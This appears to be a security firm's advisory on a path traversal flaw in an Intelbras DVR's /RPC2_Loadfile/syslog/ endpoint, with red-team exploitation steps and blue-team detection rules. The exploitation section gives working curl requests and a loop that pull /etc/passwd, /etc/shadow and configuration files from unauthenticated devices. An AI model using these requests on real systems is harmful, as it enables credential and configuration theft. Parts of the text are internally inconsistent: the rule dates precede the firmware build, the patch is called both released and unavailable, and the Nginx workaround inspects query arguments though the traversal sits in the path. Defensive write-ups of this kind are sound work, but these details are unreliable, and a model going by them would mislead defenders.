CVE-2026-12211

Executive Summary

CVE-2026-12211 is a path traversal vulnerability in the Intelbras iNVU 7016 FT surveillance DVR, specifically in firmware version 3.004.00IB000.0.T Build 2025-09-26. The flaw resides in the /RPC2_Loadfile/syslog/ endpoint of the web interface, allowing an unauthenticated remote attacker to read arbitrary files from the device's filesystem. The vulnerability has a CVSS score of 2.7 (Low) due to its limited impact on confidentiality only, with no effect on integrity or availability. However, the exploit has been publicly released, and the vendor has acknowledged the issue and released a fix. Given the low EPSS score (0.0%), active exploitation in the wild is currently unlikely, but the public availability of the exploit increases the risk for unpatched devices.

Supply Chain & Package Security

This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby). It affects a proprietary embedded firmware for a physical surveillance device. The supply chain risk is limited to the device's firmware update mechanism and the integrity of the vendor's distribution channels.

CVSS Breakdown & Threat Level

• CVSS Score: 2.7 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
• Confidentiality (C): Low (L) – Limited read access to files on the device.
• Integrity (I): None (N) – No file modification possible.
• Availability (A): None (N) – No denial of service.

Threat Level: Low. The vulnerability allows read-only access to system files (e.g., configuration, logs). While this can leak sensitive information like credentials or network topology, it does not allow code execution or device takeover. The public exploit increases the threat for exposed devices.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) in the web interface's file serving functionality. The endpoint /RPC2_Loadfile/syslog/ is designed to retrieve system log files. The application fails to properly sanitize user-supplied input in the file path parameter, allowing an attacker to use ../ sequences to escape the intended log directory and read arbitrary files from the device's filesystem.

Root Cause: The web server or CGI handler does not validate or normalize the file path before passing it to the file read function. This allows an attacker to traverse up the directory tree.

Attack Flow:

1. The attacker sends a crafted HTTP GET request to the vulnerable endpoint.
2. The request includes a path parameter with ../ sequences to navigate to a target file (e.g., /etc/passwd).
3. The server reads the file and returns its contents in the HTTP response.
4. The attacker can then extract sensitive data.

Example Request:

GET /RPC2_Loadfile/syslog/../../../etc/passwd HTTP/1.1
Host: <target_ip>

The server will respond with the contents of /etc/passwd (or any other readable file).

Vulnerable vs. Patched Code

Since the patch is not publicly available, we can only infer the fix. The vulnerable code likely resembles:

# Vulnerable pseudo-code
def handle_syslog_request(request):
    filename = request.get_param("file")
    # No sanitization
    filepath = "/var/log/syslog/" + filename
    with open(filepath, "r") as f:
        return f.read()

The patched version should include input validation:

# Patched pseudo-code
import os

def handle_syslog_request(request):
    filename = request.get_param("file")
    # Sanitize: remove path traversal sequences
    safe_filename = os.path.basename(filename)
    filepath = "/var/log/syslog/" + safe_filename
    # Ensure the resolved path is within the intended directory
    real_path = os.path.realpath(filepath)
    if not real_path.startswith("/var/log/syslog/"):
        return "Access denied", 403
    with open(real_path, "r") as f:
        return f.read()

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable Intelbras iNVU 7016 FT device (firmware 3.004.00IB000.0.T Build 2025-09-26) or a lab VM running the vulnerable firmware.
• Network access to the device's web interface (port 80/443).

Exploitation Steps:

1. Identify the target: Use Shodan or Nmap to find exposed devices.

   nmap -p 80,443 --script http-title <target_ip>
   

2. Verify the vulnerability: Send a test request to confirm path traversal.

   curl -v "http://<target_ip>/RPC2_Loadfile/syslog/../../../etc/passwd"
   

3. Extract sensitive files:

   • /etc/shadow (if readable)
   • /etc/config/network (network configuration)
   • /etc/config/system (system settings)
   • /tmp/*.db (database files)
   • /proc/self/environ (environment variables)

   Example:

   curl "http://<target_ip>/RPC2_Loadfile/syslog/../../../etc/shadow"
   

4. Automate extraction: Use a script to iterate over common files.

   for file in /etc/passwd /etc/shadow /etc/config/network; do
       curl -s "http://<target_ip>/RPC2_Loadfile/syslog/../../../$file"
   done
   

Blue Team

Detection:

• Monitor web server logs for requests containing ../ or %2e%2e%2f (URL-encoded path traversal).
• Alert on requests to /RPC2_Loadfile/syslog/ with unusual file extensions or paths.

Hunting:

• Search for HTTP requests with RPC2_Loadfile in the URI and ../ in the query string.
• Look for outbound connections from the DVR to unknown IPs (data exfiltration).

Containment:

• Immediately isolate the device from the network if exploitation is suspected.
• Apply the vendor's firmware patch as soon as possible.
• If patching is not possible, restrict access to the web interface using firewall rules (allow only trusted IPs).

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /RPC2_Loadfile/syslog/ containing ../ or %2e%2e%2f.
• Outbound connections from the DVR to external IPs on non-standard ports (potential data exfiltration).
• Unusual file paths in HTTP requests (e.g., /etc/passwd, /etc/shadow).

File System IOCs:

• Unexpected files in the web server's log directory (e.g., /var/log/syslog/).
• Modified or deleted log files (attempts to cover tracks).

Behavioral IOCs:

• Multiple failed login attempts (if the attacker tries to escalate privileges).
• Unusual process execution (e.g., wget, curl from the device).

Detection Engineering

YARA Rule

rule CVE_2026_12211_Path_Traversal {
    meta:
        description = "Detects path traversal attempts against Intelbras iNVU 7016 FT"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-12211"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e/"
        $endpoint = "/RPC2_Loadfile/syslog/"
    condition:
        $endpoint and any of ($traversal*)
}

Sigma Rule

title: CVE-2026-12211 Path Traversal on Intelbras iNVU
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts against the Intelbras iNVU 7016 FT web interface
author: Valters IT
date: 2025-04-10
tags:
    - attack.initial_access
    - attack.t1190
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - '/RPC2_Loadfile/syslog/'
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e/'
    condition: selection
falsepositives:
    - Legitimate file requests that happen to contain these strings (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-12211 Path Traversal Attempt on Intelbras iNVU"; flow:to_server; content:"/RPC2_Loadfile/syslog/"; http_uri; content:"../"; distance:0; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply the vendor patch: Contact Intelbras support or check their official website for the latest firmware update.
2. Restrict network access: Use a firewall to limit access to the DVR's web interface to only trusted management IPs.
3. Disable the web interface: If not required, disable the web interface entirely via the device's configuration.

Long-term Measures:

• Implement a Web Application Firewall (WAF) with rules to block path traversal patterns.
• Regularly audit and update firmware on all IoT/OT devices.
• Segment the network to isolate surveillance devices from critical systems.
• Monitor logs for suspicious activity and set up alerts for path traversal attempts.

Workaround (if patching is not possible):

• Use a reverse proxy (e.g., Nginx) in front of the DVR to filter out malicious requests.
• Example Nginx rule:

  location /RPC2_Loadfile/syslog/ {
      if ($args ~* "\.\.") {
          return 403;
      }
      proxy_pass http://dvr_backend;
  }
  

Valters IT
DevSecOps & Cyber Threat Intelligence